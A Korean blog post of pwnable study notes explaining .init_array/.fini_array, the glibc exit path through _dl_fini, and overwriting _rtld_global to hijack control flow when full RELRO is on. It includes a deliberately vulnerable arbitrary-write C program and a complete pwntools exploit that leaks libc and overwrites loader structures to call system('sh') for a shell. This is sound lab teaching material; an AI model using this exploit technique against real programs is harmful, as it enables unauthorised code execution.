.init_array & .fini_array
.init_array
와 .fini_array
는 바이너리가 실행되고 종료될 때 초기화를 위해 참조하는 함수 포인터들이 저장되어 있는 섹션
이 배열들은 데이터 섹션에 존재하고 RELRO가 적용되면 overwrite 불가.
$ objdump -h ./array
array: file format elf64-x86-64
18 .init_array 00000008 00000000006008c0 00000000006008c0 000008c0 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 00000000006008c8 00000000006008c8 000008c8 2**3
위처럼 objdump
로 .init_arrary
, .fini_arrary
가 어디있는지 확인 가능
.init_array
void usercall noreturn start(__int64 a1@<rax>, void (*a2)(void)@<rdx>)
{
...
__libc_start_main(main, v2, &_0, _libc_csu_init, _libc_csu_fini, a2, &v3);
//__libc_start_main 호출
//__libc_start_main 인자로 _libc_csu_init, _libc_csu_fini 전달
바이너리가 처음 실행될 때 호출하는 start
함수는, 바이너리 실행에 필요한 요소들을 초기화하기 위해 __libc_start_main
함수를 호출함.
__libc_start_main
은 .init_arrary
를 참조하는데, 이 배열 안의 함수들은 _libc_csu_init
함수에 의해 실행됨
__libc_csu_init 함수
void __libc_csu_init (int argc, char **argv, char **envp)
{
/* For dynamically linked executables the preinit array is executed by
the dynamic linker (before initializing any shared object). */
#ifndef LIBC_NONSHARED
/* For static executables, preinit happens right before init. */
{
const size_t size = __preinit_array_end - __preinit_array_start;
size_t i;
for (i = 0; i < size; i++)
(*__preinit_array_start [i]) (argc, argv, envp);
}
#endif
#ifndef NO_INITFINI
_init ();
#endif
const size_t size = __init_array_end - __init_array_start; //init 배열 사이즈
for (size_t i = 0; i < size; i++)
(*__init_array_start [i]) (argc, argv, envp); //사이즈만큼 배열 요소 하나하나 실행
}
__init_array_start [i] (arc,argv,envp)
로 init array 안의 값들을 순차적으로 호출하는 것을 볼 수 있음
바이너리 종료 시에도 이와 비슷한 방식으로 .fini_array
를 호출함
.fini_arrary
main 함수 리턴 후 GI_exit
함수 호출
void exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
GI_exit
함수는 내부에서 __run_exit_handlers
함수를 호출하고 인자로 __exit_funcs 구조체안의 flavor 변수를 참고해 호출됨.
기본적으로 이때 dl_fini
함수를 호출하게 됨
이때 dl_fini
함수 내부에서 <_dl_fini+777>: mov r12,QWORD PTR [rax+0x8]
를 실행하게 되는데 이때 rax+0x8이 .fini_arrary
를 가리키고 있게 됨. 따라서 RELRO가 적용되어있지 않다면 이것을 overwrite 할 수 있음
정리하면 main 함수 ret -> GI_exit-> __run_exit_handlers -> dl_fini -> .fini_array 참조
_rtld_global Overwrite
위에랑 비슷한 앤데 이 애는 실습 코드를 통해 확인해보자.
// gcc -o dlfini dlfini.c -no-pie -z relro -z now
#include <stdio.h>
#include <stdlib.h>
int main()
{
long long addr;
long long data;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
printf("stdout: %lp\n",stdout);
printf("addr: ");
scanf("%ld",&addr);
printf("data: ");
scanf("%ld",&data);
*(long long *)addr = data;
exit(0);
}
RELRO가 적용되었으므로 .fini_array나 .ini_array의 overwrite는 불가능하다.
이때 할 수 있는게 _rtld_global overwrite이다.
아까 내용을 다시 복습해보면 main 함수가 끝난 후에는 아래와 같은 흐름으로 함수가 진행되었었다.
GI_exit -> __run_exit_handlers -> dl_fini
dl_fini
에서는 위에서 .fini_array를 참조했었다. 하지만 RELRO 때문에 쓰기 권한이 있는 다른 부분을 찾아야한다.
void _dl_fini (void)
{
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
여기서 __rtld_lock_lock_recursive (GL(dl_load_lock));
부분을 유심히 보자
dl_fini
내부에서는 dl_load_lock
를 인자로 __rtld_lock_lock_recursive
를 호출한다.
이때 __rtld_lock_lock_recursive
는 _dl_rtld_lock_recursive
라는 함수포인터를 가리키는 함수 포인터이다.
그리고 _dl_rtld_lock_recursive는 또 rtld_lock_default_lock_recursive라는 함수를 가리킨다.
이때 dl_load_lock
과 함수 _dl_rtld_lock_recursive
는 모두 _rtld_global
구조체의 멤버이다.
이 구조체는 로더 내에 존재하므로 주소를 알아내려면 로더 주소 릭이 필요하다.
한편 _rtld_global
에는 쓰기 권한이 부여되어있으므로 _dl_rtld_lock_recursive
와 dl_load_lock
을 각각 execve와 '/bin/sh'등으로 overwrite 시켜주면 쉘을 획득할 수 있다.
$ gdb example2
gdb-peda$ start
gdb-peda$ p _rtld_global
_dl_load_lock = {
mutex = {
__data = {
__lock = 0x0,
__count = 0x0,
__owner = 0x0,
__nusers = 0x0,
__kind = 0x1,
__spins = 0x0,
__elision = 0x0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0x0
}
},
_dl_rtld_lock_recursive = 0x7ffff7dd60e0 <rtld_lock_default_lock_recursive>,
...
}
gdb-peda$ p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x7ffff7ffdf60 <_rtld_global+3840>
gdb-peda$ vmmap 0x7ffff7ffdf60
Start End Perm Name
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.27.so
위에서 본 예제는 임의주소에 임의 값을 넣는 코드가 있었다. 그런데 우리는 dl_load_lock
변수와 함수 _dl_rtld_lock_recursive
두개를 overwrite해야하므로 한번에 할 수 없다.
따라서 우리는 _dl_rtld_lock_recursive을 start함수로 바꾸어 '계속해서' 임의 주소 쓰기를 가능하게 할 것이다.
참고로 ld.so가 다를 경우 오프셋이 달라 실습을 진행하기 어렵다. 이때 patchelf라는 명령어를 사용하여 바이너리에 원하는 ld 파일을 사용하게 할 수 있다!!
$ patchelf --set-interpreter ./ld-2.27.so ./ow_rtld
이렇게 할 수 있게따 !!
라이브러리 공유 파일이 잘 매핑된 것은 아래처럼 확인하면 되겠다.
$ gdb ./ow_rtld
pwndbg> entry
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x555555400000 0x555555401000 r-xp 1000 0 /home/dreamhack/ow_rtld
0x555555600000 0x555555601000 r--p 1000 0 /home/dreamhack/ow_rtld
0x555555601000 0x555555602000 rw-p 1000 1000 /home/dreamhack/ow_rtld
0x555555602000 0x555555603000 rw-p 1000 3000 /home/dreamhack/ow_rtld
0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcb000 0x7ffff7dcf000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcf000 0x7ffff7dd1000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dd1000 0x7ffff7dd5000 rw-p 4000 0 [anon_7ffff7dd1]
0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /home/dreamhack/ld-2.27.so
0x7ffff7fee000 0x7ffff7ff0000 rw-p 2000 0 [anon_7ffff7fee]
0x7ffff7ff6000 0x7ffff7ffa000 r--p 4000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000 /home/dreamhack/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000 /home/dreamhack/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
우리가 설정한 /home/dreamhack/ld-2.27.so가 잘 매핑되어있는 것을 위 코드 하단에서 확인할 수 있다!
최종 익스플로잇 코드
# dlfini.py
from pwn import *
p = process("./dlfini")
print p.recvuntil("stdout: ")
leak = int(p.recvuntil("\n").strip("\n"),16)
libc_base = leak - 0x3ec760
system = libc_base + 0x4f440
ld_base = libc_base + 0x3f1000
rtld_global = ld_base + 0x228060
rtld_recursive = rtld_global + 3840
rtld_load_lock = rtld_global + 2312
print hex(rtld_recursive)
print p.sendlineafter("addr:",str(rtld_recursive))
print p.sendlineafter("data:",str(0x0000000000400580)) # start
print p.sendlineafter("addr:",str(rtld_load_lock))
print p.sendlineafter("data:",str(0x6873)) # sh
print p.sendlineafter("addr:",str(rtld_recursive))
print p.sendlineafter("data:",str(system)) # main
p.interactive()
퀴즈
프로그램이 종료될 때에는 먼저 __GI_exit이 나오고 그뒤에 __run_exit_handlers, 그다음에 dl_fini이었다. dl_main은 나오지 않는다.
_rtld_global은 라이브러리가 아니라 로더 내에 존재했다. 그래서 라이브러리 릭이 아닌 로더 릭이 필요했다(로더를 구하기 위해 라이브러리 릭을 하긴 했지만..)
정리
dl_fini는 __rtld_lock_lock_recursive (GL(dl_load_lock)를 호출하는데 이 함수와 인자 모두 rtld_global의 멤버(를 가리키는 포인터)임. 그런데 이 구조체 안의 값은 쓰기 권한이 있으므로 overwrite가능
그리고 이 구조체는 로더 안에 있으므로 로더 릭 필요 (patchelf 사용)
References
https://dreamhack.io/lecture/courses/268
https://dreamhack.io/lecture/courses/269
https://dreamhack.io/lecture/courses/11
'Linux Exploitation > Fundamentals' 카테고리의 다른 글
[Pwnable] SROP (SigRetrun Oriented Programming) (0) | 2023.07.23 |
---|---|
[Pwnable] SECCOMP (0) | 2023.07.10 |
[Pwnable] PIE (0) | 2023.05.15 |
[gdb] 로컬/서버의 라이브러리 다른 경우 (0) | 2023.04.28 |
[ROP 시리즈 (3)] 드림핵(Dreamhack) - Return to Library 개념 및 실습 (1) | 2023.04.18 |